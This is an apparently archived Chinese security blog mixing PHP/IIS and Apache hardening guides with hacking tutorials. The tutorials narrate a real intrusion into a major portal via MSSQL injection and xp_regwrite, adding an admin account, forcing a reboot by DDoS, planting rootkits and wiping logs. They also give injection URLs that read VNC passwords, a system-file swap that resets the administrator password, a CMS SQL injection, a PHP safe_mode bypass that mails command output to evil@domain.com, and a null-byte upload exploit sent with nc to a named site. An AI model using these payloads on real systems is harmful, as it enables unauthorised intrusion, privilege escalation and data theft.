存档

‘技术文章’ 分类的存档

MSSQL db_owner角色注入直接获得系统权限(续)

2006年10月26日 Chinadu 没有评论

文章作者:许文强

相信大家都看过LCX大虾写的《MSSQL db_owner角色注入直接获得系统权限》吧,小弟不自量力也写写我利用MSSQL db_owner角色注入直接获得系统权限的方法。LCX大哥大致取得系统权限的思路是利用MSSQL中xp_regread的存储过程读出vnc在注册表中的密码,然后再破解,就可以拿到管理员权限。可是在网上毕竟装vnc的服务器是少数,要是一台你很想进入的服务器不装vnc,也就是说没有5900端口,尽管这个网站存在注射漏洞,你破出管理员密码,找到后台(假设这个网站没有数据库备份和文件上传及上传漏洞)但是你却没有办法取得一个shell,只有干瞪眼的份。还好sql在提供xp_regread的时候还给我们附带拉个xp_regwrite,我就利用xp_regwrite来拿系统权限,下面是我利用xp_regwrite取得系统权限的一次经历。
http://www.***.com是一个比较大的综合门户网站,ALEXA排名在前100名,好,今天的目标就是他拉,在搞之前首先要采好点,呵呵,也就是要找到注射点,这个是我们今天入侵的基础。在主页上看拉看,全部是静态网页,不存在注射的可能,可能你会说他可能是后台生成htm(开始偶也是这么认为,可是进去之后才知道原来根本不是),再源文件里找拉找也没有asp?的踪影,好看看其他的吧,恩,没费多少时间在他的动漫网中找到拉一个注射点,呵呵,开始抄家伙,恩,没费多大径就用NBSI2暴出拉管理员的密码,管理后台以及找到拉网站的绝对路径,本来以为接下来想要一个webshell应该很容易,谁知道要比我想的难得多,没有上传漏洞也就算拉,竟然连数据库备份的功能也没有,把asp木马改成后缀为jpg,gif上传竟然也没法上传成功,我倒,难道就这样放弃拉,我可不是那种轻言放弃的人,不过暂时我也没有什么好的办法,明天还要上课,只好暂时放弃。
第二天,我连上课心情都没有,满脑子里想的全是怎么拿到webshell或系统权限。好不容易等到下课,赶紧跑道计算机室里上网找找有没有关于这方面的资料,呵呵,黄天不负有心人终于让偶给找到拉一篇CZY大虾写的《How to execute system command in MSSQL》里面详述拉怎么获得管理员权限的方法,可是我的情况和czy文章里的情况略有不同,那个网站连接数据库的用户没有服务器sysadmin权限,只有数据库db_owner的权限,好多存储过程不好用,不过还好xp_regread和xp_regwrite好利用,这两个只要db_owner就好运行。好,说干就干,赶紧打开网站在注射点输入xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwq1','REG_SZ','net user xwq xwq /add'
呵呵,返回一个正常页面,说明成功完成拉,再在注射点输入
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwq2','REG_SZ','net localgroup administrators xwq /add'
好,只要让服务器重起,就会在系统中加上xwq这个管理员帐号,至于怎么让他重起,就要看各位的能耐拉,我可是迫不及待拉,赶紧ddos,过没多久,服务器就重起拉,马上用远程桌面连接连上去(呵呵,可能管理员觉得3389比较好把),输入xwq,xwq,yeah!!!进去拉,好拉接下来的事么就是留个后门rootkit+dll插入木马+asp,删除日志,克隆帐号,删除xwq这个帐号,闪人。


后记,其实直接加管理员帐号的作法,很冒险,要是管理员就在电脑旁边,他肯定回起疑心,反而暴露自己的行踪,呵呵,看你运气拉。你也可以在知道网站的绝对路径之后再利用xp_regwrite在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\currentversion\run里写上一句话木马,在用asp木马提权。

分类: 技术文章 标签:

MSSQL db_owner角色注入直接获得系统权限

2006年10月26日 Chinadu 没有评论

文章作者:lcx

相信大家对ASP+MSSQL注入都已经很熟悉了,连一个对SQL语法丝毫不懂的人也可以用NBSI来轻松入侵大量网站。但就算是一个SQL INJECTION高手,如果针对在MSSQL中只有db_owner角色,破不出猜不到网站后台的情况下,好像也无技可施;除了用备份得到shell的这个思路,我在网上实在没有找出更好的入侵办法。不过,备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?前不久,我就碰到了这样的一个台湾网站,管理员的密码倒是用NBSi跑了出来,可是用户名因为是繁体的原因在NBSi中成了一堆乱码。我也找到了后台,可只有干瞪眼的份。怎么办?我又扫了它的所有端口,发现开了5900,估计是管理员用了VNC对服务器进行了远程控制。这时,我就有一个思路,能不能把VNC在注册表的加密密码读出来再来破解呢?看我表演吧!
  TELNET服务器的5900端口,得到讯息如图1所示,证实服务器的确用的是VNC。相信大家都会用读xp_regread来读注册表了,依次提交如下语句:

http://www.something.com/scri ... eate table [dbo].[cyfd] ([gyfd][char](255));

这样我们就成功地建了一个名为cyfd的表,并且添加了类型是char,长度为255的字段名gyfd。然后向表中加数据:

http://www.something.com/script.asp?id=2;DECLARE @result  ... aster.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--

从注册表中读出VNC在注册表的加密密码的值,再把值插入到刚建的表中。然后暴出VNC在注册表的加密密码:


http://www.something.com/script.asp ... sp;1=(select count(*) from cyfd where gyfd > 1)

  可是结果大失我所望,gyfd的值是空的。如果这样容易的话,不会有这篇文章出现了。这是什么原因呢?我的语法不正确?翻来覆去的检查我的语句也没有发现错误呀。难道繁体的vnc在注册表里的位置不一样?后来我又开始在本机装了vnc又在分析查循器里做测试,得到的结果却是个数字5。这时czy上线了,询问了一下,他劝我把gyfd的这个字段改成二进制数据类型 binary来试一下。于是我又在本机测试了一下,依次提交如下语句:

http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20));
http://127.0.0.1/script.asp?id=2;DECLARE @result bin ... er.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--

然后我再用nbsi跑出cyfd表里gyfd这个字段的值。结果到是出来了,得到了vnc的加密密码值是0x0E3515AC00000000000000000000000000000000。可这儿还不对,我在本机装的vnc在注册表里的密码值是hex:0e,35,15,ac,00,62,d3,08这个呀。原来binary(n)的数据存储长度是固定的,当输入的二进制长度小于n时,余下长度填0补充。我在注入语句中写入的binary(20)是足够写入vnc加密密码的长度时,为什么还有那么多0来填充呢?这是因为正好我的vnc密码是0e3515ac0062d308,在碰到了00的情况下,xp_regread以为已经读完了它的值呢,把00当成了结束符,所以只读到了0x0E3515AC,我晕!
  翻了一下书,终于让我找到了一个特殊的数据类型uniqueidentifier,是用来存储一个16字节长的二进制数据类型。把注入语句改造一下:

http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]);
http://127.0.0.1/script.asp?id=2;DECLARE @result unique ... ster.dbo.xp_regread HKEY_CURRENT_USER,Software\ORL\WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);-- 

然后再用nbsi跑一下,跑出来了,不过得到的结果是AC15350E-6200-08D3-0000-000000000000。
  AC15350E-6200-08D3-0000-000000000000和我在注册表里的正确的vnc密码的值0e3515ac0062d308相比,能看出来有什么不同吗?只不过顺序是颠倒的,相信大家都会小学的算术,这个不用我教了。试一下用cain破出vnc的密码,看看行不行

  看样子在本机做的测试一切成功。这方法用到台湾上的站点试试,哎,依然没有跑出vnc的密码,也许繁体vnc在注册表的位置不同吧。不过,我研究了一上午,有了一点收获,就放过你吧。

分类: 技术文章 标签:

取回Windows密码的绝妙方法

2006年10月24日 Chinadu 1 条评论

根据高人指导,我已经将密码改回来了。其方法十分简单,而且具有通用性。
其具体方法为:
1。先进入别的nt系统(嘻嘻,我有几个nt系统,在此就不用w2ntkey之类的需要软盘启动的了。)
2。在原来nt的系统目录下,修改文件spoolss.exe为spoolss2.exe
3。编写spoolss.c like this:

#include <stdlib.h> 
int main(int argc, char* argv[]) 

    system("net user administrator 123"; 
    system("spoolss2.exe"; 
    return 0; 

4。编译后,将spoolss.exe放到原来nt的系统目录下。
5。重新启动机器,密码为123。一切OK!
6。回原来的别NT系统下,将spoolss2.exe改回来。

WIN2000下的spoolss.exe的文件名为spoolsv.exe。如此方法也是行得通的

分类: 技术文章 标签:

IIS 6 的 PHP 最佳配置方法

2006年10月22日 Chinadu 没有评论

虽然 LAMP 组合很不错,但是如果想要架设一台同时支持 PHP、ASP、ASP.NET、JSP、Perl 的 Web 虚拟主机服务器,还是用 Windows 2003 的 IIS 6 最好。网上有很多介绍在 IIS 6 上配置 PHP 的文章,但是那些方法不是性能不好,就是升级麻烦。下面的方法可以让你在第一次配置好后,能够非常方便的进行升级。

这里所说的升级,是指从某个 php4 版本升级到另一个 php4 版本,或者从某个 php5 版本升级到另一个 php5 版本,而不是指从 php4 升级到 php5。

准备:

1、一台安装好的 Windows 2003 服务器,并且已经安装了 IIS 6。

2、下载 windows 版的 PHP 二进制压缩包

安装:

解压缩 PHP 二进制压缩包到 C:\php 目录下(这里假设 C: 盘是系统盘,即安装了Windows 系统的盘,如果系统盘是 D: 盘,则解压缩到 D:\php 目录下,以此类推,下同)。

然后打开“我的电脑”->“属性”->“高级”->“环境变量”->“系统变量”->“path”,编辑其值,在前面增加下面的路径地址:

C:\php;C:\php\dlls;C:\php\extensions;C:\php\sapi;

将 php.ini-dist 或 php.ini-recommended 复制到 C:\Windows 目录下,并改名为 php.ini,一般正式发布网站的服务器用 php.ini-dist,而作为调试用的服务器用 php.ini-recommended 更好。当然一般情况下,这个 php.ini 还是需要根据实际情况来修改的。

下面来介绍一下几个必要的修改选项:

extension_dir = "C:\php\extensions"

这个是 PHP 扩展所放置的目录,请确保跟你实际安装的目录相同。

extension=php_mbstring.dll
;extension=php_big_int.dll
extension=php_bz2.dll
extension=php_cpdf.dll
extension=php_crack.dll
extension=php_curl.dll
extension=php_db.dll
extension=php_dba.dll
extension=php_dbase.dll
extension=php_dbx.dll
extension=php_domxml.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
extension=php_gd2.dll
extension=php_gettext.dll
extension=php_hyperwave.dll
extension=php_iconv.dll
;extension=php_ifx.dll
;extension=php_iisfunc.dll
extension=php_imap.dll
;extension=php_interbase.dll
extension=php_java.dll
extension=php_ldap.dll
;extension=php_mcrypt.dll
extension=php_mhash.dll
extension=php_mime_magic.dll
extension=php_ming.dll
extension=php_mssql.dll
extension=php_msql.dll
;extension=php_oci8.dll
extension=php_openssl.dll
;extension=php_oracle.dll
extension=php_pdf.dll
extension=php_pgsql.dll
;extension=php_printer.dll
extension=php_shmop.dll
;extension=php_snmp.dll
extension=php_sockets.dll
;extension=php_sybase_ct.dll
extension=php_w32api.dll
extension=php_xmlrpc.dll
extension=php_xslt.dll
extension=php_yaz.dll
extension=php_zip.dll
上面这些,开头没有加分号的是打开的扩展,加了分号的是没有打开的扩展。上面的设置包含了在 Windows 2003 上默认安装情况下可以打开所有扩展(这里列出的是 php 4 的)。

session.save_path = c:\sessions
这个是 session 文件默认保存的目录,这个目录必须是一个存在的目录,不然默认的 session 功能会无效。我这里设置的是一个 ramdisk 上的一个目录。将 session.save_path 设置在 ramdisk 上可以加快 session 处理的速度。如果你没有安装 ramdisk,你可以把它指定到其他盘的任何一个目录下,如 C:\sessions 目录、C:\Windows\Temp 目录等。

OK,基本工作作完了,现在该配置 IIS 了。

打开“ Internet 信息服务(IIS)管理器”,在“ Web 服务扩展”里,选择“添加一个新的 Web 服务扩展”,扩展名可填写“PHP ISAPI 扩展”,要求的文件选择:C:\php\sapi\php4isapi.dll(如果安装的是 PHP5,则此处是 C:\php\sapi\php5isapi.dll,下同),并设置扩展状态为允许。

打开“网站”->“属性”->“ISAPI 筛选器”->“添加”,筛选器名称可填写“PHP”,可执行文件仍然选择 C:\php\sapi\php4isapi.dll。

打开“网站”->“属性”->“主目录”->“应用程序设置”->“配置”->“应用程序扩展”->“添加”,可执行文件还是选择 C:\php\sapi\php4isapi.dll。扩展名填写“.php”,动作限制为“HEAD,GET,POST”。

打开“网站”->“属性”->“文档”->“启用默认内容文档”->“添加”,可以将 index.php 添加为默认内容文档。

然后选择“服务器机器名”->“所有任务”->“重新启动 IIS”来重启 IIS。

测试

在默认网站发布目录下,建立一个测试页面:

下载:phptest.php

phpinfo();
?>
如果打开这个页面能够看到 php 安装配置信息,就算是安装成功了。

如果想要更优化的执行 php 程序,可以安装 ZendOptimizer-2.6.0-Windows-i386.exe ,这个东西安装非常简单,这里就不介绍了。

升级

现在升级就非常简单了。只需要将新版本的 PHP 二进制压缩包下载下来,将原来的 C:\php 目录删除,将新版本解压缩到 C:\php 目录中,然后重新启动一下 IIS 就可以了。不需要修改任何配置,也不需要往 System32 目录中复制任何文件。是不是很方便啊?

分类: 技术文章 标签:

PHP安全配置

2006年10月22日 Chinadu 没有评论

安全PHP很不错的DOC

整理:san
版本:0.02

创建时间:2001/11/12
更新时间:2003/07/21

一、Web服务器安全

PHP 其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。 PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:


<? mail(" foo@bar ,"foo","bar","",$bar); ?> 


执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id& #124;mail evil@domain.com

这将id执行的结果发送给 evil@domain.com 。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

<?
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP 的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或 Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var() 函数可以得到配置选项的各个值。

如果配置选项是唯一 PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启 apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是 Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:


<Directory /var/www>
   Options FollowSymLinks
   php_admin_value safe_mode 1
</Directory>


重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:


<?include("index.html")?>

几个文件的属性如下:


# ls -la
total 13
drwxr-xr-x    2 root     root          104 Jul 20 01:25 .
drwxr-xr-x   16 root     root          384 Jul 18 12:02 ..
-rw-r--r--    1 root     root         4110 Oct 26  2002 index.html
-rw-r--r--    1 www-data www-data       41 Jul 19 19:14 test.php


在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:


safe_mode_gid = On


设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且 shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路

分类: 技术文章 标签:

动易SP4的漏洞利用

2006年10月22日 Chinadu 没有评论

今天BCT把动易SP4的漏洞公布了,既然都公布了,那么还是发出来吧!

在NewComment.asp文件中

ModuleName = Trim(request("ModuleName"))

这个ModuleName变量没过滤好,从而导致,我们可以在下面的SQL语句中构造我们的
SQL语句


If ModuleName <> "" Then
    If ChannelID <> 0 Then
        If ClassID <> 0 Then
            sqlComment = "Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True

sqlComment = "Select top " & Num & " C.* from PE_Comment C left join PE_" & Article+A+on+C.InfoID=A.ArticleID+where+A.ChannelID=1+and+1=1

在A.ChannelID=1后就可以构造我们的SQL语句。(其中空格用+来代替。)


NewComment.asp?num=1&ChannelID=1&ClassID=1&ModuleName=Article+A+on+C.InfoID=A.ArticleID+where+A.ChannelID=1%20and%20user>0--

例如这样就可以暴mssql用户名

省下的就是sql注入老

Apache服务器配置安全规范Apache服务器的主要安全缺陷

2006年10月18日 Chinadu 没有评论

正如我们前言所说尽管Apache服务器应用最为广泛,设计上非常安全的程序。但是同其它应用程序一样,Apache也存在安全缺陷。毕竟它是完全源代码,Apache服务器的安全缺陷主要是使用HTTP协议进行的拒绝服务攻击(denial of service)、缓冲区溢出攻击以及被攻击者获得root权限三缺陷和最新的恶意的攻击者进行“拒绝服务”(DoS)攻击。合理的网络配置能够保护Apache服务器免遭多种攻击。我们来介绍一下主要的安全缺陷:
  (1)使用HTTP协议进行的拒绝服务攻击(denial of service)的安全缺陷
  这种方法攻击者会通过某些手段使服务器拒绝对HTTP应答。这样会使Apache对系统资源(CPU时间和内存)需求的剧增,最终造成Apache系统变慢甚至完全瘫痪。
  (2)缓冲区溢出的安全缺陷
  该方法攻击者利用程序编写的一些缺陷,使程序偏离正常的流程。程序使用静态分配的内存保存请求数据,攻击者就可以发送一个超长请求使缓冲区溢出。
  (3)被攻击者获得root权限的安全缺陷
  该安全缺陷主要是因为Apache服务器一般以root权限运行(父进程),攻击者会通过它获得root权限,进而控制整个Apache系统。
  (4)恶意的攻击者进行“拒绝服务”(DoS)攻击的安全缺陷
  这个最新在6月17日发现的漏洞,它主要是存在于Apache的chunk encoding中,这是一个HTTP协议定义的用于接受web用户所提交数据的功能。 所有说使用最高和最新安全版本对于加强Apache Web服务器的安全是至关重要的。
  请广大Apache服务器管理员去http://www.apache.org/dist/httpd/下载补丁程序以确保其WEB服务器安全!

  正确维护和配置Apache服务器

  虽然Apache服务器的开发者非常注重安全性,由于Apache服务器其庞大的项目, 难免会存在安全隐患。正确维护和配置Apache WEB服务器就很重要了。我们应注意的一些问题:

  (1)Apache服务器配置文件
  Apache Web服务器主要有三个配置文件,位于/usr/local/apache/conf目录下。 这三个文件是:

  httpd.conf----->主配置文件
  srm.conf------>填加资源文件
  access.conf--->设置文件的访问权限

  注:具体配置可以参考:http://httpd.apache.org/docs/mod/core.html

  (2)Apache服务器的目录安全认证
  在Apache Server中是允许使用 .htaccess做目录安全保护的,欲读取这保护的目录需要先键入正确用户帐号与密码。这样可做为专门管理网页存放的目录或做为会员区等。在保护的目录放置一个档案,档名为.htaccss
  AuthName "会员专区"
  AuthType "Basic"
  AuthUserFile "/var/tmp/xxx.pw" ----->把password放在网站外 require valid-user 到apache/bin目录,建password档 % ./htpasswd -c /var/tmp/xxx.pw username1 ----->第一次建档要用参数"-c" % /htpasswd /var/tmp/xxx.pw username2 这样就可以保护目录内的内容,进入要用合法的用户.

  注:采用了Apache内附的模组。

  也可以采用在httpd.conf中加入: 
  options indexes followsymlinks 
  allowoverride authconfig 
  order allow,deny 
  allow from all 

  (3)Apache服务器访问控制

  我们就要看三个配置文件中的第三个文件了,即access.conf文件,它包含一些指令控制允许什么用户访问Apache目录。应该把deny from all设为初始化指令,再使用allow from指令打开访问权限。

  
  
  order deny,allow
  deny from all
  allow from safechina.net
  
  
  设置允许来自某个域、IP地址或者IP段的访问。

  (4)Apache服务器的密码保护问题

  我们再使用.htaccess文件把某个目录的访问权限赋予某个用户。系统管理员需要在httpd.conf或者rm.conf文件中使用 AccessFileName指令打开目录的访问控制。如:

  AuthName PrivateFiles
  AuthType Basic
  AuthUserFile /path/to/httpd/users
  require Phoenix
  # htpasswd -c /path/to/httpd/users Phoenix

  设置Apache服务器的WEB和文件服务器

  我们在Apache服务器上存放WEB服务器的文件,供用户访问,并设置/home/ftp/pub目录为文件存放区域,用http://download.your.com/pub/来访问。在防火墙上设置apache反向代理技术,由防火墙代理访问。 
 
  (1)Apache服务器的设置 

  apache服务器采用默认配置。主目录为/home/httpd/html,主机域名为Phoenix.your.com, 且别名到www.your.com中, 并且设置srm.conf加一行别名定义如下:

  Alias /pub /home/ftp/pub/ 

  更改默认应用程序类型定义如下: 
  DefaultType application/octet-stream 

  最后在/etc/httpd/conf/access.conf中增加一项定义 
  Options Indexes 
  AllowOverride AuthConfig 
  order allow,deny 
  allow from all 

  注:Options Indexes允许在找不到index.html文件的情况下允许列出目录/文件列表。AllowOverride AuthConfig允许做基本的用户名和口令验证。这样的话,需要在/home/ftp/pub目录下放入.htaccess,内容如下: 
  [root@ pub]# more .htaccess 
  AuthName Branch Office Public Software Download Area 
  AuthType Basic 
  AuthUserFile /etc/.usrpasswd 
  require valid-user 
  用# htpasswd -c /etc/.usrpasswd user1  分别创建不同的允许访问/pub下文件服务的外部用户名和口令。
 
  (2)在防火墙上配置反向代理技术.
 
  在/etc/httpd/conf/httpd.conf  中加入 NameVirtualHost xxx.xxx.xxx.xxx # xxx.xxx.xxx.xxx ----->是防火墙外部在互联网上永久IP地址 
  servername www.your.com 
  errorlog /var/log/httpd/error_log 
  transferlog /var/log/httpd/access_log 
  rewriteengine on 
  proxyrequests off 
  usecanonicalname off 
  rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 Apache服务器的IP地址。

  servername http://download.your.com/pub/
  errorlog /var/log/httpd/download/error_log 
  transferlog /var/log/httpd/download/access_log 
  rewriteengine on 
  proxyrequests off 
  usecanonicalname off 
  rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 同上Apache服务器的IP地址。

  设置防火墙上的DNS,让download.your.com和www.your.com 都指向防火墙的外部网地址xxx.xxx.xxx.xxx。
用http://www.your.com访问主页,用http://download.your.com/pub/访问公共文件的下载区。

  注:还需要在apache服务器主机上建立目录/var/log/httpd/download/,否则会出错。另外,也可以设置防火墙主机上的/home/httpd/html/index.html的属性为750来阻止访问,这是防外部用户能访问到防火墙上的Apache服务器的http://www.your.com中。 

  总结:Apache Server是一个非常优秀,非常棒的服务器,只要你正确配置和维护好Apache服务器,
你就会感受到Apache Server 所带来的好处,同样希望你能够通过阅读本文达到理论和实践双丰收的目的。

验证你的Apache来源途径

不要以为在Google上能够搜索到合适的Apache版本。如果你需要下载最新版本的Apache,那么你最好通过一个权威的镜像站点来下载。然而,即使这样也可能有问题,事实上,曾经就

分类: 技术文章 标签:

PHP和ASP上传漏洞探究

2006年10月18日 Chinadu 没有评论

1 传漏洞利用的原理只是针对form格式上传的asp和php脚本***
nc(netcat)

用于提交数据包

dos界面下运行:

nc -vv www.***.com 80<1.txt

-vv: 回显

80: www端口

1.txt: 就是你要发送的数据包 (更多使用方法请查看本区的帖子)

wse(wsockexpert) 对本机端口的监视,抓取ie提交的数据包

2 漏洞原理

下面例子假设的前提

www主机: www.***.com;

bbs路径 : /bbs/

漏洞源于对动网上传文件的研究,建议有一定编程经验的看看dvbbs的upfile.asp文件,没有必要全部看懂。upfile是通过生成一个form表上传,如下


<form name="form" method="post" action="upfile.asp" ...> 

<input type="hidden" name="filepath" value="uploadface"> 

<input type="hidden" name="act" value="upload"> 

<input type="file" name="file1"> 

<input type="hidden" name="fname"> 

<input type="submit" name="submit" value="上传" ...></form>

用到的变量::

filepath 默认值uploadface 属性hiden

act 默认值upload 属性hiden

file1 就是你要传的那个文件

关键是 filepath 这个变量!

默认情况下我们的文件上传到www.***.com/bbs/uploadface/

文件是用你的上传时间命名的,就是upfile里的这一句


filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext


--------------------------------------

我们知道计算机里面的数据是一""为标致的用过c语言的都知道:char data[]="bbs" 这个data数组长度是4: b b s

如果我们构造filepath如下,会怎么样呢?

filepath="/newmm.asp"

我们在2004.09.24.08.24传的文件就会发生变化没有改时:: _blank>http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时:_blank>http://www.***.com/newmm.asp/200409240824.jpg

这样当服务器接收filepath数据时,检测到newmm.asp后面的就理解为filepath的数据就结束了。这样我们上传的文件,比如c:.asp 就保存成: _blank>http://www.***.com/newmm.asp

3 后期补充

漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行。有很多网站只是加了n个hiden属性的变量对付网上公布的 upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具。自己改wse抓到的包里的filepath变量,然后在用nc提交。就算他加n个hiden变量也于事无补。当然, 如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结就是我们的新理论诞生的时候!

4 详细实例

一、wse抓包结果(存到1.txt里):

 

post /bbs/upphoto/upfile.asp http/1.1

accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

 

application/x-shockwave-flash, application/vnd.ms-excel,

 

application/vnd.ms-powerpoint, application/msword, */*

referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp

accept-language: zh-cn

content-type: multipart/form-data;

 

boundary=-----------7d423a138d0278

accept-encoding: gzip, deflate

user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)

host: _blank>www.xin126.com

content-length: 1969

connection: keep-alive

cache-control: no-cache

cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf;

 

iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37;

 

username=szjwwwww; pass=5211314; dl=0; userid=62;

 

ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

 

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

 

../medias/myphoto/

-----------------------------7d423a138d0278

... ...

 
上传

---------------7d423a138d0278-----------------


二、ultraedit打开1.txt改数据:

 
...... 

-----------------------------7d423a138d0278 

content-disposition: form-data; name="filepath" 

/newmm.asp <===这个黑色代表一个空格是 0x20,改成0x00就可以了 

...... 

三、重新计算cookies长度,然后nc提交

nc -vv _blank>www.xin126.com 80 <1.txt

ultraedit是一个16位编辑器网上可以下载得到

我们主要用来写那个结束标致: ====>16位表示:0x00或者00h

其实你改的时候就直接再filepath的结尾处加个00就ok了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了

----------------------------

...... 

host: _blank>www.xin126.com 

content-length: 1969 <======就是这个 

connection: keep-alive 

cache-control: no-cache 

...... 

计算会吧?一个字母、数字就是1

对于上传漏洞提出的解决思路:(仅供参考)

1、一般的上传是把上传路径作为一个变量来处理

===>我们的对策就是把filepath变成常量。。。

这个方法是目前最有效的(我认为的)

2、加强对于的处理,原来我们是读到这里就结束

我们继续读直道下一个变量开始的地方,处理就ok了

附:NC Usage:

监听外部主机

nc [-options] hostname port[s] [ports] ...

监听本地主机

nc -l -p port [options] [hostname] [port]

options:

-d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]

-g gateway source-routing hop point[s], up to 8

-g num source-routing pointer: 4, 8, 12, ...

-h this cruft

-i secs delay interval for lines sent, ports scanned

-l listen mode, for inbound connects

-l listen harder, re-listen on socket close

-n numeric-only ip addresses, no dns

-o file hex dump of traffic

